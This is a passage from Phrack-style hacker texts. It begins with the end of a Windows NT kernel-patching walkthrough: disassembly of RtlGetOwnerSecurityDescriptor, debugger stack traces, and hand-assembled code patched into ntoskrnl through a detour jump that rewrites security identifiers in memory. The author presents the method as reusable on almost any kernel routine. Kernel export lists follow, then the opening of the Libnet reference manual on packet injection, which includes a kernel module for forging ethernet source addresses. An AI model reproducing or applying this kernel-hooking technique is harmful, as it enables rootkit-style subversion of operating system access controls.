; [edx+4] must not be zero

; if the value IS zero, this

; means the SD does NOT have a

; owner, and it sets argument

; 2 to NULL, then returns,

; ignoring argument 3

; altogether.

80184ACB jnz short loc_80184AD4

80184ACD mov esi, [ebp+arg_4]

80184AD0 mov [esi],ecx

80184AD2 jmp short loc_80184AE1

80184AD4 ;

========================================

80184AD4

80184AD4 loc_80184AD4:; CODEXREF:

; RtlGetOwnerSecurityDescriptor+1B

80184AD4 test byte ptr [edx+3], 80h ; 01 00 04 >80< 5C ; which is [edx+3]

must be 80

80184AD8 jz short loc_80184ADC

80184ADA add eax, edx ; adds edx to 5C,

; which must be an

; offset to the SID

; within the SD

Note a couple of SIDS hanging around in this memory location. The first one is the Owner, the second one must be the Group. The first SID, 1‑5‑20‑220 is BUILTIN\Administrators. By changing the 220 to a 222, we can alter this to be BUILTIN\Guests. This will cause serious security problems. That second SID happens to be long nasty one.. that is your first indication that it's NOT a built‑in group. In fact, in this case, the group is ANSUZ\None, a local group on my NT Server (my server is obviously named ANSUZ.. ;)

:d eax

0023:E1A49F84 01 02 00 00 00 00 00 05‑20 00 00 00 20 02 00 00 ........ ... ... ; This is a SID in memory (1‑5‑20‑220)

0023:E1A49F94 01 05 00 00 00 00 00 05‑15 00 00 00 BA 5D FF 0C .............].. ; another SID

0023:E1A49FA4 5C 4F CF 51 FD 28 9A 4E‑01 02

; (1‑5‑15‑CFF5DBA‑51CF4F5C‑4E9A28FD‑201)

Here we start working with arguments 1 & 2:

80184ADC

80184ADC loc_80184ADC: ; CODEXREF:

; RtlGetOwnerSecurityDescriptor+28

80184ADC mov esi, [ebp+arg_4]

80184ADF mov [esi],eax ; moving the address of the

; SID through the user

; supplied ptr (PSID pOwner)

80184AE1

80184AE1 loc_80184AE1: ; CODEXREF:

; RtlGetOwnerSecurityDescriptor+22

80184AE1 mov ax, [edx+2] ; some sort of flags

; 01 00 >04< 80 5C

80184AE5 mov edx, [ebp+arg_8]; argument 3, which is to be ; filled in with

flags data

80184AE8 and al, 1

80184AEA cmp al, 1 ; checking against a mask of

; 0x01

80184AEC setz cl ; set based on flags register

; (if previous compare was

true)

80184AEF xor eax, eax ; status is zero, all good ;)

80184AF1 mov [edx],cl ; the value is set for

; SE_OWNER_DEFAULTED

; true/false

80184AF3

80184AF3 loc_80184AF3: ; CODEXREF:

; RtlGetOwnerSecurityDescriptor+12

80184AF3 pop esi

80184AF4 pop ebp

80184AF5 retn 0Ch ; outta here, status in EAX

80184AF5 RtlGetOwnerSecurityDescriptor endp

This routine is called from the following stack(s):

(NtOpenProcessToken)

Break due to BPX ntoskrnl!RtlGetOwnerSecurityDescriptor (ET=31.98 milliseconds)

:stack at 001B:00000000 (SS:EBP 0010:00000000) ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8E3FF04) ntoskrnl!NtOpenProcessToken+025E at 0008:80198834 (SS:EBP 0010:F8E3FEEC) ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8E3FE50) ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8E3FD80) ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8E3FD48) ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8E3FD34) ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8E3FD20)

=> ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8E3FD00)

(PsCreateWin32Process)

Break due to BPX ntoskrnl!RtlGetOwnerSecurityDescriptor (ET=3.62 milliseconds) :stack

ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8CDFF04) ntoskrnl!PsCreateWin32Process+01E7 at 0008:80192B5D (SS:EBP 0010:F8CDFEDC) ntoskrnl!PsCreateSystemThread+04CE at 0008:8019303E (SS:EBP 0010:F8CDFE6C) ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8CDFDC8) ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8CDFCF8) ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8CDFCC0) ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8CDFCAC) ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8CDFC98)

=> ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8CDFC78)

(PsCreateSystemThread)

:stack

ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8CDFF04) ntoskrnl!PsCreateSystemThread+0731 at 0008:801932A1 (SS:EBP 0010:F8CDFEDC) ntoskrnl!PsCreateSystemProcess+05FD at 0008:801938B1 (SS:EBP 0010:F8CDFE8C) ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8CDFDEC) ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8CDFD1C) ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8CDFCE4) ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8CDFCD0) ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8CDFCBC)

=> ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8CDFC9C)

(SeTokenImpersonationLevel)

:stack

ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8CDFF04) ntoskrnl!PsCreateSystemThread+0731 at 0008:801932A1 (SS:EBP 0010:F8CDFEDC) ntoskrnl!PsRevertToSelf+0063 at 0008:8013577D (SS:EBP 0010:F8CDFE8C) ntoskrnl!SeTokenImpersonationLevel+01A3 at 0008:8019F12F (SS:EBP 0010:F8CDFDE8) ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8CDFD9C) ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8CDFCCC) ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8CDFC94) ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8CDFC80) ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8CDFC6C)

=> ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8CDFC4C)

I began by trying to patch this call. I decided to try and detect the Owner SID of BUILTIN\Administrators (1‑5‑20‑220) and change it to BUILTIN\Users (1‑5‑20‑221) on the fly. The following code is what I patched in:

First, I located a region of memory where I could dump some extra code. For testing, I chose the region at 08:8000F2B0. I found it to be initially all zeroed out, so I figured it safe for a while. Next, I assembled some instructions into this new area:

8000F2B0:push ebx

mov ebx, [eax + 08]

cmp ebx, 20 ; check the 20 in 1‑5‑20‑XXX

nop; nop's are leftovers from

; debugging

nop

jnz 8000f2c2; skip it if we aren't looking

; at a 20

mov word ptr [eax+0c], 221; write over old RID w/ new RID ; of 221

nop

8000f2c2:pop ebx

nop

mov esi, [ebp + 0c]; the two instructions

mov [esi], eax; that I nuked to make the

; initial jump

jmp 80184ae1

Now, notice the last two instructions prior to the jump back to NT. To make this call, I had to install a JMP instruction into the NT subroutine itself. Doing that nuked two actual instructions, as follows:

Original code:

80184ADC mov esi, [ebp+arg_4];<**===‑‑‑ PATCHING A JUMP ; HERE

80184ADF mov [esi],eax

80184AE1 mov ax, [edx+2] ; some sort of flags

; 01 00 >04< 80 5C

80184AE5 mov edx, [ebp+arg_8]; argument 3, which is to be ; filled in with flags data

After patch:

80184ADC JMP 8000F2B0 ; Note: this nuked two real

; instructions...

80184AE1 mov ax, [edx+2] ; some sort of flags

; 01 00 >04< 80 5C

80184AE5 mov edx, [ebp+arg_8]; argument 3, which is to be ; filled in with flags data

So, to correct this, the code that I am jumping to runs the two missing instructions:

mov esi, [ebp + 0c]; the two instructions

mov [esi], eax; that I nuked to make the

; initial jump

Alas, all is good. I tested this patch for quite some time without a problem. To verify that it was working, I checked the memory during the patch, and sure enough, it was turning SID 1‑5‑20‑220 into SID 1‑5‑20‑221. However, as with all projects, I was not out of the water yet. When getting the security properties for a file, the Owner still shows up as Administrators. This patch is clearly called during such a query, as I have set breakpoints. However, the displayed OWNER is still administrators, even though I am patching the SID in memory. Further investigation has revealed that this routine isn't called to check access to a file object, but is called for opening process tokens, creating processes, and creating threads. Perhaps someone could shed some more light on this? Nonetheless, the methods used in this patch can be re‑purposed for almost any Kernel routine, so I hope it has been a useful journey.

Appendix A: Exported functions for the SRM:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SeAccessCheck

SeAppendPrivileges

SeAssignSecurity

SeAuditingFileEvents

SeAuditingFileOrGlobalEvents

SeCaptureSecurityDescriptor

SeCaptureSubjectContext

SeCloseObjectAuditAlarm

SeCreateAccessState

SeCreateClientSecurity

SeDeassignSecurity

SeDeleteAccessState

SeDeleteObjectAuditAlarm

SeExports

SeFreePrivileges

SeImpersonateClient

SeLockSubjectContext

SeMarkLogonSessionForTerminationNotification SeOpenObjectAuditAlarm

SeOpenObjectForDeleteAuditAlarm

SePrivilegeCheck

SePrivilegeObjectAuditAlarm

SePublicDefaultDacl

SeQueryAuthenticationIdToken

SeQuerySecurityDescriptorInfo SeRegisterLogonSessionTerminatedRoutine SeReleaseSecurityDescriptor

SeReleaseSubjectContext

SeSetAccessStateGenericMapping

SeSetSecurityDescriptorInfo

SeSinglePrivilegeCheck

SeSystemDefaultDacl

SeTokenImpersonationLevel

SeTokenType

SeUnlockSubjectContext

SeUnregisterLogonSessionTerminatedRoutine SeValidSecurityDescriptor

Here are the exported functions for the Object Manager: ObAssignSecurity

ObCheckCreateObjectAccess

ObCheckObjectAccess

ObCreateObject

ObDereferenceObject

ObfDereferenceObject

ObFindHandleForObject

ObfReferenceObject

ObGetObjectPointerCount

ObGetObjectSecurity

ObInsertObject

ObMakeTemporaryObject

ObOpenObjectByName

ObOpenObjectByPointer

ObQueryNameString

ObQueryObjectAuditingByHandle

ObReferenceObjectByHandle

ObReferenceObjectByName

ObReferenceObjectByPointer

ObReleaseObjectSecurity

ObSetSecurityDescriptorInfo

Here are the exported functions for the IO Manager: IoAcquireCancelSpinLock

IoAcquireVpbSpinLock

IoAdapterObjectType

IoAllocateAdapterChannel

IoAllocateController

IoAllocateErrorLogEntry

IoAllocateIrp

IoAllocateMdl

IoAssignResources

IoAttachDevice

IoAttachDeviceByPointer

IoAttachDeviceToDeviceStack

IoBuildAsynchronousFsdRequest

IoBuildDeviceIoControlRequest

IoBuildPartialMdl

IoBuildSynchronousFsdRequest

IoCallDriver

IoCancelIrp

IoCheckDesiredAccess

IoCheckEaBufferValidity

IoCheckFunctionAccess

IoCheckShareAccess

IoCompleteRequest

IoConnectInterrupt

IoCreateController

IoCreateDevice

IoCreateFile

IoCreateNotificationEvent

IoCreateStreamFileObject

IoCreateSymbolicLink

IoCreateSynchronizationEvent

IoCreateUnprotectedSymbolicLink

IoDeleteController

IoDeleteDevice

IoDeleteSymbolicLink

IoDetachDevice

IoDeviceHandlerObjectSize

IoDeviceHandlerObjectType

IoDeviceObjectType

IoDisconnectInterrupt

IoDriverObjectType

IoEnqueueIrp

IoFastQueryNetworkAttributes

IofCallDriver

IofCompleteRequest

IoFileObjectType

IoFreeController

IoFreeIrp

IoFreeMdl

IoGetAttachedDevice

IoGetBaseFileSystemDeviceObject

IoGetConfigurationInformation

IoGetCurrentProcess

IoGetDeviceObjectPointer

IoGetDeviceToVerify

IoGetFileObjectGenericMapping

IoGetInitialStack

IoGetRelatedDeviceObject

IoGetRequestorProcess

IoGetStackLimits

IoGetTopLevelIrp

IoInitializeIrp

IoInitializeTimer

IoIsOperationSynchronous

IoIsSystemThread

IoMakeAssociatedIrp

IoOpenDeviceInstanceKey

IoPageRead

IoQueryDeviceDescription

IoQueryDeviceEnumInfo

IoQueryFileInformation

IoQueryVolumeInformation

IoQueueThreadIrp

IoRaiseHardError

IoRaiseInformationalHardError

IoReadOperationCount

IoReadTransferCount

IoRegisterDriverReinitialization

IoRegisterFileSystem

IoRegisterFsRegistrationChange

IoRegisterShutdownNotification

IoReleaseCancelSpinLock

IoReleaseVpbSpinLock

IoRemoveShareAccess

IoReportHalResourceUsage

IoReportResourceUsage

IoSetDeviceToVerify

IoSetHardErrorOrVerifyDevice

IoSetInformation

IoSetShareAccess

IoSetThreadHardErrorMode

IoSetTopLevelIrp

IoStartNextPacket

IoStartNextPacketByKey

IoStartPacket

IoStartTimer

IoStatisticsLock

IoStopTimer

IoSynchronousPageWrite

IoThreadToProcess

IoUnregisterFileSystem

IoUnregisterFsRegistrationChange

IoUnregisterShutdownNotification

IoUpdateShareAccess

IoVerifyVolume

IoWriteErrorLogEntry

IoWriteOperationCount

IoWriteTransferCount

Here are the exported functions for the LSA: LsaCallAuthenticationPackage

LsaDeregisterLogonProcess

LsaFreeReturnBuffer

LsaLogonUser

LsaLookupAuthenticationPackage

LsaRegisterLogonProcess

The only imports are from the HAL DLL:

HAL.ExAcquireFastMutex

HAL.ExReleaseFastMutex

HAL.ExTryToAcquireFastMutex

HAL.HalAllocateAdapterChannel

HAL.HalBeginSystemInterrupt

HAL.HalClearSoftwareInterrupt

HAL.HalDisableSystemInterrupt

HAL.HalDisplayString

HAL.HalEnableSystemInterrupt

HAL.HalEndSystemInterrupt

HAL.HalGetEnvironmentVariable

HAL.HalHandleNMI

HAL.HalProcessorIdle

HAL.HalQueryDisplayParameters

HAL.HalRequestSoftwareInterrupt

HAL.HalReturnToFirmware

HAL.HalSetEnvironmentVariable

HAL.HalSetRealTimeClock

HAL.HalStartProfileInterrupt

HAL.HalStopProfileInterrupt

HAL.HalSystemVectorDispatchEntry

HAL.KdPortPollByte

HAL.KdPortRestore

HAL.KdPortSave

HAL.KeGetCurrentIrql

HAL.KeLowerIrql

HAL.KeRaiseIrql

HAL.KeRaiseIrqlToDpcLevel

HAL.KeRaiseIrqlToSynchLevel

HAL.KfAcquireSpinLock

HAL.KfLowerIrql

HAL.KfRaiseIrql

HAL.KfReleaseSpinLock

HAL.READ_PORT_UCHAR

HAL.READ_PORT_ULONG

HAL.READ_PORT_USHORT

HAL.WRITE_PORT_UCHAR

HAL.WRITE_PORT_ULONG

HAL.WRITE_PORT_USHORT

The Libnet Reference Manual

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 06 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ The Libnet Reference Manual v.01 ]

‑‑‑‑‑‑‑‑[ route <route@infonexus.com> ]

‑‑‑‑[ 1] Impetus

If you are required to write C code (either by vocation or hobby) that at some point, must inject packets into a network, and the traditionally provided system APIs are insufficient, libnet is for you. Libnet provides a simple API to quickly build portable programs that write network packets.

Libnet was written for two main reasons. 1) To establish a simple interface by which network programmers could ignore the subtleties and nuances of low‑level network programming (and therefore concentrate on writing their programs). 2) To mitigate the irritation many network programmers experienced due to the lack of standards.

To be honest, I can't believe someone didn't write something like libnet (also termed "libpwrite") a long time ago. It seemed like such an obvious gap that needed to be filled. I was sure the LBNL guys (Lawrence Berkeley National Laboratory ‑‑ they wrote libpcap[1]) would put something together. I mean, Libnet, simply put, is the packet injector analog to libpcap. They are brothers (or sisters).

To sum it up, this is a treatise on the art of manufacturing network packets in an efficient, consistent and portable manner using libnet.

Libnet in and of itself, has nothing to do with security. However, libnet is a wonderful utility for writing security‑related applications, tools and modules. Many recent exploits have been rapidly developed using libnet as have many security related tools. Take a look at the libnet projects URL section below for some examples.

‑‑‑‑[ 2] Overview

Libnet is a simple C library. It is designed to be small, efficient and easy to use. Libnet's main goal is portable packet creation and injection. At the time this manual was written, Libnet was in version 0.99f and had 15 different packet assemblers and two types of packet injection, IP‑layer and link‑layer (more on those below).

By itself, libnet is moderately useful. It can build and inject packets to the network. Libnet, however, has no provisions for packet capture. For this, one must look to libpcap. Together, libnet and libpcap are powerful tools available to the network programmer.

Libnet consists of about:

‑ 7300 lines of code

‑ 32 source files

‑ 5 include files

‑ ~54 functions

‑ ~43 user‑accessable / implemented functions

‑‑‑‑[ 3] Design Decisions (past, present and future)

Libnet is very much an ongoing learning/research project. When I started it over a year and a half ago, I had no idea it would grow as it did incorporating as much functionality as it does. Libnet's design has changed not so much in stages, but rather in evolutions. Many of these evolutionary changes I took from other successful libraries out there. Some of the changes are hard to pass and are still in progress, while some were just simple internal changes. Then there were some modifications to the library that unfortunately changed the interface and obsoleted older versions. In this section I hope enlighten the reader as to some of the design decisions that go into libnet; where it was, where it is, and where it's going.

Modularity (interfaces and implementations)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Big programs are made up of many modules [3]. These modules provide the user with functions and data structures that are to be used in a program. A module comes in two parts: its interface and its implementation. The interface specifies what a module does, while the implementation specifies how the module does it. The interface declares all of the data types, function prototypes, global information, macros, or whatever is required by the module. The implementation adheres to the specifications set forth by the interface. This is how libnet was and is designed. Each implementation, you'll find, has a corresponding interface.

There is a third piece of this puzzle: the client. The client is the piece of code that imports and employs the interface, without having to even see the implementation. Your code is the client.

For more information on interfaces and implementations in C, I urge the reader to check out [3]. It's an excellent book that changed the way I wrote code.

Nomenclature

‑‑‑‑‑‑‑‑‑‑‑‑

Initially, the naming of files, functions and other tidbits didn't seem to be that important. They took on whatever names seemed appropriate at the time. In a stand‑alone program, this is bad style. In a library, it's bad style AND potentially error‑prone. Library code is intended to be used on different platforms and potentially with other libraries. If one of these other libraries (or potentially the user's code) contains an object with the same name, problems result. Therefore, naming has become an important issue to me. A strict naming convention helps in two major areas:

‑ for filenames it keeps them ordered in a directory making for easy perusal

‑ for function names, macros, and symbols it cuts down on redefinition problems and makes the interface much easier to learn

Error Handling and Reporting

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Error handling and reporting is an essential part of any programming paradigm. Delicate handling of and recovery from error conditions is an absolute necessity, especially in a third party library. I believe Libnet now has decent error handling (see below for a dissertation on assertions). It can recover from most bad situations more or less gracefully. It checks for illegal conditions under most circumstances. Reporting, however, is a different story and is still progressing. Libnet needs to have a standard error reporting convention in place. As it stands now, some functions use errno (since they are basically system call wrappers), while some accept an additional buffer argument to hold potentional error messages, and still others as yet have no provision for verbose error reporting. This needs to change and possibly might be accomplished using variable argument lists.

Assertions and Exit Points

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

assert(3) is a macro that accepts a single argument which it treats as an expression, evaluating it for truth. If the expression is evaluated to be false, the assert macro prints an error message and aborts (terminates) the program. Assertions are useful in the developmental stages of programs when verbose error handling is not in place or when a grievous error condition that normally should not happen occurs. Initially libnet was riddled with assertions. Libnet mainly employed assertions to catch NULL pointer dereferences before they occurred (many libnet functions accept pointer arguments expecting them to actually point somewhere). This seemed reasonable at the time because this is obviously a grievous error ‑‑ if you're passing a NULL pointer when you shouldn't, your program is probably going to crash. However, assertions also riddled the library with numerous potential unpredictable exit points. Exit points inside a supplementary library such as libnet are bad style, let alone unpredictable exit points. Library code should not cause or allow a program to exit. If a grievous error condition is detected, the library should return error codes to the main, and let it decide what to do. Code should be able to handle grievous errors well enough to be able to exit gracefully from the top level (if possible). In any event, the assertions were removed in version 0.99f in favor of error indicative return values. This preserves compatibility, while removing the exit points.

IPv4 vs IPv6

‑‑‑‑‑‑‑‑‑‑‑‑

Libnet currently only supports IPv4. Support for IPv6 is definitely planned, however. The main consideration is nomenclature. Had I been mister‑cool‑smart guy in the beggining, I would have anticipated this and added IP version information to the function names and macros e.g.: ipv4_build_ip, IPV4_H. However at this point, I refuse to force users to adopt to yet another interface, so the IPv6 functions and macros will contain IPv6 in the name (much like the POSIX 1.g sockets interface [2]).

The Configure Script

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Early on in the development of libnet, it became clear that there was much OS and architecture dependent code that had to conditionally included and compiled. The autoconf configuration stuff (circa version 0.7) worked great to determine what needed to be included and excluded in order to build the library, but did nothing for post‑install support. Many of these CPP macros were needed to conditionally include header information for user‑based code. This was initially handled by relying on the user to define the proper macros, but this quickly proved inefficient.

Libnet now employs a simple configure script. This script is created during autoconf configuration and is installed when the library is installed. It handles all of the OS and architecture dependencies automatically ‑ however, it is now mandatory to use it. You will not be able to compile libnet‑based code without. See the next section for details on how to invoke the script.

‑‑‑‑[ 4] A Means to an Ends

This section covers operational issues including how to employ the library in a useful manner as well noting some of its quirks.

The Order of Operations

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In order to build and inject an arbitrary network packet, there is a standard order of operations to be followed. There are five easy steps to packet injection happiness:

1) Network initialization

2) Memory initialization

3) Packet construction

4) Packet checksums

5) Packet injection

Each one of these is an important topic and is covered below.

Memory allocation and initialization

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The first step in using libnet is to allocate memory for a packet. The conventional way to do this is via a call to libnet_init_packet(). You just need to make sure you specify enough memory for whatever packet you're going to build. This will also require some forthought as to which injection method you're going to use (see below for more information). If you're going to build a simple TCP packet (sans options) with a 30 byte payload using the IP‑layer interface, you'll need 70 bytes (IP header + TCP header + payload). If you're going to build the same packet using the link‑layer interface, you'll need 84 bytes (ethernet header + IP header + TCP header + payload). To be safe you can simply allocate IP_MAXPACKET bytes (65535) and not worry about overwriting buffer boundries. When finished with the memory, it should be released with a call to libnet_destroy_packet() (this can either be in a garbage collection function or at the end of the program).

Another method of memory allocation is via the arena interface. Arenas are basically memory pools that allocate large chunks of memory in one call, divy out chunks as needed, then deallocate the whole pool when done. The libnet arena interface is useful when you want to preload different kinds of packets that you're potentially going to be writing in rapid succession. It is initialized with a call to libnet_init_packet_arena() and chunks are retrieved with libnet_next_packet_from_arena(). When finished with the memory it should be released with a call to libnet_destroy_packet_arena() (this can either be in a garbage collection function or at the end of the program).

An important note regarding memory management and packet construction: If you do not allocate enough memory for the type of packet you're building, your program will probably segfault on you. Libnet can detect when you haven't passed *any* memory, but not when you haven't passed enough. Take heed.

Network initialization

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The next step is to bring up the network injection interface. With the IP‑layer interface, this is with a call to libnet_open_raw_sock() with the appropriate protocol (usually IPPROTO_RAW). This call will return a raw socket with IP_HDRINCL set on the socket telling the kernel you're going to build the IP header.

The link‑layer interface is brought up with a call to libnet_open_link_interface() with the proper device argument. This will return a pointer to a ready to go link interface structure.

Packet construction

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Packets are constructed modularly. For each protocol layer, there should be a corresponding call to a libnet_build function. Depending on your end goal, different things may happen here. For the above IP‑layer example, calls to libnet_build_ip() and libnet_build_tcp() will be made. For the link‑layer example, an additional call to libnet_build_ethernet() will be made. The ordering of the packet constructor function calls is not important, it is only important that the correct memory locations be passed to these functions. The functions need to build the packet headers inside the buffer as they would appear on the wire and be demultiplexed by the recipient. For example:

14 bytes 20 bytes 20 bytes

____________________________________

| ethernet | IP | TCP |

|______________|____________________

libnet_build_ethernet() would be passed the whole buffer (as it needs to build an ethernet header at the front of the packet). libnet_build_ip() would get the buffer 14 bytes (ETH_H) beyond this to construct the IP header in the correct location, while libnet_build_tcp() would get the buffer 20 bytes beyond this (or 34 bytes beyond the beginning (ETH_H + IP_H)). This is easily apparent in the example code.

Packet checksums

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The next‑to‑last step is computing the packet checksums (assuming the packet is an IP packet of some sort). For the IP‑layer interface, we need only compute a transport layer checksum (assuming our packet has a transport layer protocol) as the kernel will handle our IP checksum. For the link‑layer interface, the IP checksum must be explicitly computed. Checksums are calculated via libnet_do_checksum(), which will be expecting the buffer passed to point to the IP header of the packet.

Packet injection

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The last step is to write the packet to the network. Using the IP‑layer interface this is accomplished with libnet_write_ip(), and with the link‑layer interface it is accomplished with libnet_write_link_layer(). The functions return the number of bytes written (which should jive with the size of your packet) or a ‑1 on error.

Using the Configure Script

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There has been some confusion on how to correctly implement the libnet‑configure shell script. Since 0.99e, it has become mandatory to use this script. The library will not compile code without it. This is to avoid potential problems when user code is compiled with improper or missing CPP macros. The script also has provisions for specifiing libraries and cflags. The library switch is useful on architectures that require additional libraries to compile network code (such as Solaris). The script is very simple to use. The following examples should dispell any confusion:

At the command line you can run the script to see what defines are used for that system:

shattered:~> libnet‑config ‑‑defines

‑D_BSD_SOURCE ‑D__BSD_SOURCE ‑D__FAVOR_BSD ‑DHAVE_NET_ETHERNET_H ‑DLIBNET_LIL_ENDIAN

shattered:~> gcc ‑Wall `libnet‑config ‑‑defines` foo.c ‑o foo `libnet‑config ‑‑libs`

In a Makefile:

DEFINES = `libnet‑config ‑‑defines`

In a Makefile.in (also employing autoheader):

DEFINES = `libnet‑config ‑‑defines` @DEFS@

IP‑layer vs. Link‑layer

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

People often wonder when to use the link‑layer interface in place of the IP‑layer interface. It's mainly trading of power and complexity for ease of use. The link‑layer interface is slightly more complex and requires more coding. It's also more powerful and is a lot more portable (if you want to build ARP/RARP/ethernet frames it's the only way to go). It is basically a matter of what you need to get done.

One major issue with the link‑layer interface is that in order to send packets to arbirtrary remote Internet hosts, it needs to know the MAC address of the first hop router. This is accomplished via ARP packets, but if proxy ARP isn't being done, you run into all kinds of problems determining whose MAC address to request. Code to portably alleviate this problem is being developed.

Spoofing Ethernet Addresses

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Certain operating systems (specifically ones that use the Berkeley Packet Filter for link‑layer access) do not allow for arbitrary specification of source ethernet addresses. This is not so much a bug as it is an oversight in the protocol. The way around this is to patch the kernel. There are two ways to patch a kernel, either statically, with kernel diffs (which requires the individual to have the kernel sources, and know how to rebuild and install a new kernel) or dynamically, with loadable kernel modules (lkms). Since it's a bit overzealous to assume people will want to patch their kernel for a library, included with the libnet distribution is lkm code to seamlessly bypass the bpf restriction.

In order to spoof ethernet packets on bpf‑based systems (currently supported are FreeBSD and OpenBSD) do the following: cd to the proper support/bpf‑lkm/ directory, build the module, and modload it.

The module works as per the following description:

The 4.4BSD machine‑independent ethernet driver does not allow upper layers to forge the ethernet source address; all ethernet outputs cause the output routine to build a new ethernet header, and the process that does this explicitly copies the MAC address registered to the interface into this header.

This is odd, because the bpf writing convention asserts that writes to bpf must include a link‑layer header; it's intuitive to assume that this header is, along with the rest of the packet data, written to the wire.

This is not the case. The link‑layer header is used solely by the bpf code in order to build a sockaddr structure that is passed to the generic ethernet output routine; the header is then effectively stripped off the packet. The ethernet output routine consults this sockaddr to obtain the ethernet type and destination address, but not the source address.

The Libnet lkm simply replaces the standard ethernet output routine with a slightly modified one. This modified version retrieves the source ethernet address from the sockaddr and uses it as the source address for the header written the wire. This allows bpf to be used to seamlessly forge ethernet packets in their entirety, which has applications in address management.

The modload glue provided traverses the global list of system interfaces, and replaces any pointer to the original ethernet output routine with the new one we've provided. The unload glue undoes this. The effect of loading this module will be that all ethernet interfaces on the system will support source address forging.

Thomas H. Ptacek wrote the first version of this lkm in 1997.

Raw Sockets Limitations

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Raw sockets are horribly non‑standard across different platforms.

‑ Under some x86 BSD implementations the IP header length and fragmentation bits need to be in host byte order, and under others, network byte order.

‑ Solaris does not allow you to set many IP header related bits including the length, fragmentation flags, or IP options.

‑ Linux, on the other hand, seems to allow the setting of any bits to any value (the exception being the IP header checksum, which is always done by the kernel ‑‑ regardless of OS type).

Because of these quirks, unless your code isn't designed to be multi‑platform, you should use libnet's link‑layer interface instead.

‑‑‑‑[ 5] Internals

Libnet can be broken down into 4 basic sections: memory management, address resolution, packet handling, and support. In this section we cover every user‑accessible function libnet has to offer.

Proceeding each function prototype is a small reference chart listing the return values of the function, whether or not the function is reentrant (a function is considered reentrant if it may be called repeatedly, or may be called before previous invocations have completed, and each invocation is independent of all other invocations) and a brief description of the function's arguments.

If you're wondering, yes, this is basically a verbose manpage, however, much of it is new and additional verbiage, supplemental to the existing manual page.

Memory Management Functions

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

int libnet_init_packet(u_short, u_char **);

RV on success: 1

RV on failure: ‑1

Re‑entrant: yes

Arguments: 1 ‑ desired packet size

2 ‑ pointer to a character pointer to contain packet memory

